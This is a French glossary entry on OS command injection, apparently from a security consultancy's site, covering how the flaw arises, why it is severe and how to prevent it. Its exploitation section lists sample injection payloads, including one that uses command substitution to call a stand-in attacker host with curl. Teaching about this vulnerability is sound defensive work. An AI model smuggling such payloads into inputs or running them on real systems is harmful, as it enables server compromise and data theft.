Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Outils open source — Gratuits, portables, hors ligne
Caractéristiques communes
100 % hors ligne — aucune donnée transmise
Portables — un seul fichier exécutable
Gratuits — MIT ou GPL v3
Code source ouvert sur GitHub
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Academy Contact

Command Injection (Injection de commande OS)

hacking

Définition

L'injection de commande OS, ou Command Injection, est une vulnérabilité critique permettant à un attaquant d'exécuter des commandes système arbitraires directement sur le système d'exploitation hébergeant une application vulnérable, avec les privilèges du processus exécutant celle-ci. Elle survient lorsqu'une application intègre des données contrôlées par l'utilisateur au sein d'un appel système exécuté via des fonctions comme exec(), system() ou popen() en C et PHP, ou leurs équivalents dans d'autres langages (subprocess en Python, Runtime.exec() en Java), sans validation ni échappement adéquat des métacaractères shell susceptibles de modifier le comportement de la commande construite. Un attaquant exploite typiquement des séparateurs de commande shell, point-virgule, double esperluette, pipe, ou des mécanismes de substitution de commande, pour injecter une commande secondaire entièrement distincte de celle initialement prévue par le développeur de l'application, transformant ainsi un simple paramètre applicatif attendu, comme un nom de fichier ou une adresse IP à interroger, en un vecteur d'exécution de code arbitraire. Cette vulnérabilité figure parmi les plus critiques de l'OWASP Top 10 en raison de son impact potentiel maximal, souvent équivalent à une compromission complète du serveur hébergeant l'application. La prévention repose sur l'évitement systématique des appels shell directs, remplacés par des API structurées prenant des arguments séparés plutôt qu'une chaîne de commande brute concaténée.

Description

L'injection de commande OS survient lorsqu'une application intègre des données utilisateur dans des appels système sans validation, via exec(), system() ou popen(). L'attaquant utilise des métacaractères shell pour enchaîner ses propres commandes et compromettre le serveur.

Exploitation

Des payloads comme ; whoami, && id ou $(curl attacker.com) permettent l'exécution de commandes arbitraires. Cette faille mène directement à la compromission complète : lecture de fichiers sensibles, backdoor, pivoting réseau.

Défense

  • Utiliser des APIs système sans passage par un shell (execve direct, sans /bin/sh)
  • Valider les entrées par whitelist stricte et rejeter tout caractère non attendu
  • Exécuter les processus sous des comptes à privilèges minimaux avec isolation

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis